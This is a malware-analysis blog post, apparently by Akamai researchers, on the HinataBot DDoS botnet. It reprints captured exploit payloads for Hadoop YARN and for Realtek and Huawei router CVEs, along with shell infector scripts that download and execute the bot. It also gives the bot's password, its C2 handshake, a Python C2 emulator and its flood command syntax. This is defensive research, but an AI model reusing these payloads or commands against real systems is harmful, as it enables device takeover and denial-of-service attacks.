Uncovering HinataBot: A Deep Dive into a Go-Based Threat
Editorial and additional contributions by Tricia Howard
Executive summary
Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.”
HinataBot was seen being distributed during the first three months of 2023 and is actively being updated by the authors/operators.
The sample was discovered in HTTP and SSH honeypots abusing old vulnerabilities and weak credentials.
Infection attempts observed include exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers (CVE N/A).
Through a combination of reverse engineering the malware and imitating the command and control (C2) server, we were able to get a deep look into how the malware works and what is unique about its resulting attack traffic.
Introducing, HinataBot
HinataBot is Go-based malware that the security researchers on Akamai’s SIRT recently found within HTTP and SSH honeypots. This particular sample stood out due to its large size and the lack of specific identification around its newer hashes. The malware binaries appear to have been named by the malware author after a character from the popular anime series, Naruto, with file name structures such as “Hinata-<OS>-<Architecture>”.
HinataBot is the newest in the ever-growing list of emerging Go-based threats that includes botnets such as GoBruteForcer and the recently discovered (by SIRT) kmsdbot. Go has been leveraged by attackers to reap the benefits of its high performance, ease of multi-threading, its multiple architecture and operating system cross-compilation support, but also likely because it adds complexity when compiled, increasing the difficulty of reverse engineering the resulting binaries.
HinataBot employs various methods of communication, including both dialing out and listening for incoming connections, and has been observed with distributed denial-of-service (DDoS) flooding attacks that utilize protocols such as HTTP, UDP, TCP, and ICMP to send traffic. However, in the latest version, HinataBot has narrowed down its attack methods to only HTTP and UDP attacks.
HinataBot’s infection campaigns
The distribution methods observed were a mix of infection scripts and full payloads using two primary vulnerabilities: a Hadoop YARN RCE (Figure 1) and exploitation of a vulnerability in the miniigd SOAP service within Realtek SDK devices (CVE-2014-8361; Figure 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Fig. 1: Payload distribution through a Hadoop YARN RCE
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Fig. 2: Payload distribution through CVE-2014-8361
These attacks occurred on multiple days between January 11 and January 16, 2023. The attackers used multiple versions of infector scripts, which were updated over time. Among these scripts, the two primary ones were named 'wget.sh' (Figure 3) and 'tftp.sh' (Figure 4), reflecting the respective protocols used to fetch the appropriate payload.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 3: Infector script wget.sh using wget to download payload
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 4: Infector script tftp.sh using ftp to download payload
In the SSH honeypots, the attackers employed brute-force tactics, attempting common username and password combinations. Once successfully logged in, the attackers opened a shell and proceeded to execute the actions in Figure 5.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Fig. 5: Shell script attempting to download payload in Cowrie honeypots
The HinataBot malware was distributed as Go binaries, which were designed to run on various architectures and operating systems. This trend of malware authors developing specialized payloads for multiple platforms has become increasingly common in recent years (Figure 6), likely due to ease of cross-compilation, as well as Internet of Things (IoT) and small office/home office devices running less common CPU architectures, which has been shown to be a landscape ripe with targets.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Fig. 6: Payloads in the various OS and architecture combinations
By utilizing the distribution IP as a pivot, we were able to identify two additional IPs that were previously used for distribution. In each case, the pivot IP was used as a proxy. Further analysis revealed that, prior to developing their own Go-based malware, the attackers had attempted to distribute a generic Mirai variant, which was UPX-packed and used a less identifiable name (Figure 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Fig. 7: Various infector scripts and generic Mirai binary
The first attempts at malware distribution came as early as December 2022, and used very different infector scripts (Figure 8). These earlier scripts may have been an initial test run by the authors to gauge the effectiveness of their tactics and tooling.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Fig. 8: Legacy infection scripts
Furthermore, we were able to identify another vulnerability that the attackers abused to distribute earlier versions of their infector scripts (Figure 9). This vulnerability, CVE-2017-17215, affects Huawei HG532 routers and allows for arbitrary remote code execution.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 9: Leveraging CVE-2017-17215 to infect Huawei HG532 routers
The threat actors behind HinataBot have been active since at least December 2022, but only began developing their own malware in mid-January 2023. Since then, we have observed multiple iterations of the malware and various pivots in infection techniques. The primary IP utilized for distribution and command and control (C2) connections has a history of participation in spam and malware distribution. It’s not entirely clear at this point if the IP is malicious by design, or just compromised and being abused.
Mirai influences
As previously stated, the actors behind HinataBot originally distributed Mirai binaries, a well-known malware family that started targeting IoT devices, was open sourced, and has continued to be adopted by various actors and groups (and evolved as a result). Mirai now accounts for multiple variants and botnets built by multiple authors, actors, and groups.
While looking at historical DNS records, we can see that as recently as February 2023 the IP most recently associated with HinataBot was resolving for the domain “hihi.mirailovers.pw” (Figure 10).
There have been numerous public attempts to rewrite Mirai in Go, and HinataBot appears to follow a similar structure to some of these attempts. For example, the way HinataBot sets up communication in its main method and the way it parses commands and begins attacks in its attack methods resemble the structure used in other Go-based Mirai variants.
It's worth noting that HinataBot is still in its development stage and evolving. As such, it's difficult to predict how the malware will change and what it might look like going forward.
The first look
We initially attempted to reach out to the most recent distribution IP, but although it was pingable, we were unable to download the sample directly from the server. This may indicate that the attackers have implemented a protective mechanism or that they remove the samples after distribution, making it more difficult to obtain them outside of a direct attack. In older campaigns from the same actors, we observed seemingly randomized name patterns (see Figure 9).
Fortunately, we were able to get our hands on a sample through our automated analysis tooling that had stored one for us at time of initial infection. We downloaded both the MIPS32 and x86-64 versions from our malware repository and began static analysis. The binaries were both written in Go, but they were relatively friendly to work with, as they were uncorrupted, unpacked, and unstripped (Figure 11). Versions of the binaries in the days leading up to this publication have since been stripped, which will make reversing more challenging going forward.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Fig. 11: Running the ‘file’ command on Hinata
Initially, we began analyzing a two-month-old HinataBot malware sample (Figure 12), but we later became aware of a newer sample (Figure 13) that had been released on the same day that we’d discovered the malware in our logs. We subsequently pivoted to analyzing the newer sample instead.
The primary distinction between the two versions is that the newer sample has been streamlined and features more modular functionality. Additionally, the newer sample includes a few basic security measures that were not present in the original version. We will delve into these differences in greater detail in a later section of this post.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Fig. 12: HinataBot sample from January, 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Fig. 13: HinataBot sample from March, 2023
During our analysis, several functions immediately stood out as noteworthy. Three distinct attack functions caught our eye immediately: sym.main.startAttack, sym.main.http_flood, and sym.main.udp_flood (Figure 14). The naming of these functions suggests that the malware was intended for launching DDoS attacks.
Further analysis of the malware uncovered references to the C2 communications, which provided additional hints that HinataBot was part of a DDoS-oriented botnet-building campaign (Figure 15).
Mapping the C2 communications
To understand how the HinataBot malware establishes a connection to its C2, we worked backward from the string "Connection to CNC is OK!" and began searching for cross-references to the string (Figure 16). This process enabled us to map out the mechanism by which the malware communicates with its C2.
Our investigation eventually led us to the C2 server for HinataBot listening on TCP/1420 on the same IP the malware was distributed from during the infection campaign (Figure 17).
Another discovery from looking through the assembly code was the references to an API used for connections (“API_CONNECTION_ATTACK”), as well as numerous possible commands to issue back to the infected device that we were eager to try out (Figure 18).
At this point we were confident that the sample we had would connect back to the distribution/C2 server to notify the C2 that the bot is up and running and await commands, but the C2 server was now offline.
One interesting observation is that HinataBot also opens up a listening port of its own on TCP/61420 (Figure 19). As our primary goal of this research was to better understand the attack traffic this botnet can generate, we didn’t spend much time delving into this capability as it seemed out of scope.
We did, however, note that the timing differences of this listener are dependent on successful connectivity to the C2. In instances when a C2 is successfully contacted, this listener will die after three minutes. In cases where the C2 could not be reached, this port remains listening with no apparent time limit. Additional research will need to be conducted on this port to fully understand what capabilities it enables for the operators; for example, whether it is some kind of peer-to-peer functionality or possibly an update/control/recovery capability. We can not provide a definitive answer at the time of this writing.
Talking to HinataBot
In the next phase of our investigation, we deliberately infected several machines and created a C2 server to analyze HinataBot's interactions, security measures, and traffic patterns. We’ll briefly cover some of the processes and observations made during the reversing of HinataBot.
HINATA_START_NICE
As noted earlier, the newer HinataBot sample included some basic security measures that were absent in previous versions. The first such measure was a password requirement. Upon executing the sample, the first thing that one notices is an uncaught exception. The resulting error message makes this pretty clear (Figure 20).
Upon closer examination of the error message, we discovered that the sample required an additional argument to be passed at execution. While passing literally anything into this argument will get you past the uncaught exception, HinataBot will just exit gracefully. From here, it became obvious we needed to go back to the disassembly to see what HinataBot might be looking for in this argument.
We searched through the malware sample and eventually identified the 17-character (0x005fe3d2) string "HINATA_START_NICE" (0x005fe3d8) used in a sym.runtime.memequal call (0x005fe3e0) that would fail and cause the malware to flow through to a ret instruction, killing the execution (Figure 21). We used this string as an argument when running the sample, which allowed execution to progress into more interesting code.
Interestingly, the Naruto anime character named Hinata starts out as a peaceful and gentle character before becoming a fierce fighter, something the malware authors may be alluding to when using the "HINATA_START_NICE" argument, before the malware will communicate back to its C2 and participate in launching attacks.
It is worth noting that this password requirement was not present in the older HinataBot malware samples from January 2023; therefore most of the infection scripts we encountered did not include this argument. However, upon closer review after discovering this requirement we were able to track down their newer infection scripts (Figure 22), which did pass the argument to the binaries at time of infection. This would have been handy to know beforehand.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Fig. 22: New infection script using the password
Go.123+Strings-456.Are_789-Weird
Our analysis of the HinataBot sample revealed a large number of very long plaintext strings embedded within the binary. Go utilizes a unique approach in storing string literals by placing them in a contiguous block of memory known as a "string table" or "string intern pool."
As a result, when running the strings command or disassemblers on a Go binary, the output may appear as a confusing jumble of characters, making it difficult to distinguish between individual strings in the table (Figure 23).
This technique differs from other programming languages, which typically store null-terminated byte strings. Without these trailing null bytes, tooling continues reading a discovered string until it encounters a null byte. This makes a simple analysis of strings a touch more challenging.
Looking at cross-references from code segments into the string table address segments can help identify where individual strings in the larger table begin. Typically, you can also identify their length being loaded into a register before or after the string is loaded or as part of a function call that will utilize the string slice being referenced (Figure 24). It takes some getting used to, but it’s pretty straightforward once you get comfortable with the convention.
Talk to me, Goose
With a means of satisfying the password requirement in place, our attention turned to establishing a connection to the C2 server. In a similar manner to how we discovered the password, we were able to identify the necessary components of the handshake protocol required to establish a connection to the C2 server, which was down at the time of this research/writing.
Using netcat to listen on port 1420, we then patched the binary to use an IP we controlled as the C2 server. Once connected, we then sent the proper triggers to the infected device, staging it for attack participation (Figure 25).
The handshake consisted of an initial connection, followed by the bot sending an “API_CONNECTION_BOT [os]/[architecture] [hostname]“ message. The bot then expects a API_CONNECTION_SIGNAL_OK message back from the C2 server, which would stage the bot to listen for incoming commands (Figure 26). With the handshake out of the way, we send the API_CONNECTION_ATTACK: signal to initiate attacks.
We created a very simple C2 server in order to automate the maintenance of this connection and allow us to modify and send a command stored in a text file without needing to modify code, which allowed for very easy and rapid testing (Figure 27). This saved us quite a bit of time over the course of this research.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Fig. 27: Recreated C2 for maintaining connection to infected node
Although these interactions with HinataBot were interesting enough, our ultimate goal was always to observe the malware in action, and to see what its attack traffic looked like on the wire when directed at targeted systems. With the basic C2 communications set up, we now began to delve into the attack command, processing logic and mapping out the attack command structures.
HinataBot stops being nice
The newest version of this malware has two primary attack methods: HTTP and UDP. The older version contained these two, as well as attack methods leveraging ICMP and TCP floods. It is unclear why these methods were removed.
To get a closer look at the actual attack traffic, we used our makeshift C2 server to maintain the connection as the bot sent heartbeats to us. This way, we could focus just on the attack commands, and not have to worry about maintaining a connection to the infected device.
After extensive analysis and testing, we were finally able to map out the structure and fields needed to start launching attacks and begin capturing packets on the wire. The malware author leverages multiple Go conventions like anonymous functions, goroutines, channels, worker pools, and wait groups, making reversing a bit more tricky. Ultimately, after quite a bit of testing, we’d figured out the attack command structure (Figure 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Fig. 28: Attack command structure
The basic command structure, once finally mapped, is very straight forward. Attack commands always start with API_CONNECTION_ATTACK: followed by three required fields, the ATTACK_TYPE, the TARGET, and the attack DURATION. For the udp_flood there is a fourth attack UDP_OPTIONS field, as well; this field is also required when issuing a udp_flood attack because of how command checking occurs, but, oddly, it doesn’t need to be valid at all.
Attack type 0: http_flood
The http_flood command doesn’t appear to utilize additional options parameters like the udp_flood attack does. As it relies on the native net.http Go library, most of the configuration and options parsing for this attack comes directly from Go library itself and is controlled via the TARGET directive.
In the attack command in Figure 29, we’re issuing an http_flood (type 0) attack directed at 127.127.127.127 on TCP/31337 that will last 10 seconds. The path, port, GET parameters, and protocol are all deduced from this target directive. If no port is provided, it will default to TCP/80.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Fig. 29: Attack command structure for an http_flood attack
As mentioned previously, this binary leans on Go’s own net.http library to conduct its attacks.The bot creates a worker pool of 512 workers via Goroutines, and each worker creates its own net.http.Request object. In Figure 30, we can see a bit of how this works from inside an individual worker.
First, a new Context object and a new RequestWithContext Class are created. This Context object will be populated with HTTP Headers that will be used during the attack by the RequestWithContext class. Some of these headers are static, while others are randomized. In Figure 30 you can see the Rand Seed and Intn calls; these are used to select a random User-Agent from a list of 10 static user-agents hard coded within the binary. We’ll talk about which headers to look for below as we analyze the traffic coming out of the malware during an http_flood attack.
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Fig. 31: 3 http_flood sample attack requests
Let’s touch on some important observations from the HTTP headers captured during simulated attack events. There are several fairly obvious values here for fingerprinting, both in static and randomized fields. Defenders should look at this sample traffic, but for fear of helping the author actually improve attack capabilities, we’re hesitant to highlight exactly why this traffic is likely easy to spot and block for defenders. Without providing too much help to the malware author, we can say that a lot of the payload is fairly static, in size, order, and value. Some fields are randomized — these fields include User-Agent (from a list of 10 static user-agents), Keep-Alive, and Cookies headers. Defenders should also look closely at the Host and Referrer headers in the sample traffic in Figure 31. It’s worth noting that if the attack command does not specify a target port in the target directive, it will default to TCP/80 or TCP/443, and the port will not be included in either header.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Fig. 32: Attack command structure for a more configured http_flood attack
It’s also worth noting that since the Go net.http.Client is leveraged, configuration of this attack type is done via the target directive, and will support anything that the (well-rounded and very capable) library does. This includes HTTPS, redirection following, domain resolution, HTTP auth headers, etc. In the attack command in Figure 32 the move to https:// causes the built in library to utilize TLS, target port 443, and since we included the user:pass@ in the target directive, the traffic will also include a Authorization: Basic dXNlcjpwYXNz header as well.
As of this writing, it appears that the attack requests method is hard coded and therefore limited to HTTP GET requests … for now.
Attack type 1: udp_flood
The udp_flood attack command structure requires all fields outlined previously, even if the option supplied doesn’t exist (Figure 33). In analysis and testing, we were able to identify a single option field, which is used to control the targeted port. If no option is passed, the binary fails to parse the attack command; in some cases, passed values via this field even crash the bot.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
Fig. 33: Attack command structure for a udp_flood attack
This attack command looks slightly different than the http_flood variant, mostly due to the UDP_OPTIONS value passed (1531337) in the final parameter. This parameter controls the targeted port that the UDP packets will be sent to. The value is actually three parts, the first part is the parameter type (1), the second is the length (5) of the value, and the third is the value itself (31337).
It seems like this fourth parameter is required for command parsing, but the value can be discarded, and if no port value is supplied here, the binary will default to UDP/80 as the target port of the attack. Initially, there was an assumption that since this data is passed in this manner, we would find other additional configuration parameters for 1-9, but it seems that only the port parameter (1) has any effect on attack traffic exiting the bot.
The screenshot in Figure 34 shows the setup of the udp_flood socket. It utilizes Go’s net library using net.Dial to create the UDP socket. It then creates 512 workers, which share the socket, each running in a loop pushing data over the socket until the duration timer sends them a kill command via a shared channel. The UDP packets (Figure 35) that exit the bot are very large (65,549 bytes per packet in total), and are likely to arrive fragmented to victims across the internet . This size is hard coded within the binary and not under control of the attacker on a per-attack basis.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Fig. 35: Packet capture of UDP attack packets
The 65,507 bytes packed into the UDP data segment are all null bytes (Figure 36).The IP ID header does increment sequentially during the attack and, although the source port is ephemeral, it remains static during the duration of the flood. This is all likely a side effect of net.Dial managing the UDP socket across the entire attacker worker pool. One other thing to note is the failing check sums on the UDP data.
How did they measure up?
In order to benchmark these two attack methods, we ran two 10-second attacks, one for each method carving just the attack flows off the wire into packet captures. We were then able to see the overall size of traffic generated per attack type.
The http_flood generated 3.4 MB of packet capture data and pushed 20,430 HTTP requests. The request sizes ranged from 484 to 589 bytes per request, with sizes varying mostly due to randomization of User-Agent and Cookie header data. These request packet lengths will also be impacted by the inclusion of additional headers (e.g., Authorization Basic data), URL path and GET parameter padding, and inclusion of TLS, so take them with a grain of salt.
It’s worth pointing out that the server targeted during this attack event was also very simple and single threaded; it’s possible if the attack was directed at a server more capable of responding faster to the worker pool, these numbers could go up.
The udp_flood generated 6,733 packets for a total of 421 MB of packet capture data over the wire. There isn’t much else that’s interesting about this attack: it is volumetric in nature and seems to do a decent job of pushing volume. As stated previously, due to the size of the packets generated by this attack, victims will likely see a deluge of fragments during real-world attack events.
Using our 10-second sample sets and a theorized size of the botnet, we can begin estimating attack sizing. If the botnet contained just 1,000 nodes, the resulting UDP flood would weigh in at around 336 Gbps per second. With 10,000 nodes (roughly 6.9% of the size of Mirai at its peak), the UDP flood would weigh in at more than 3.3 Tbps. The HTTP flood at 1,000 nodes would generate roughly 2.7 Gbps and more than 2 Mrps. With 10,000 nodes, those numbers jump to 27 Gbps delivering 20.4 Mrps.
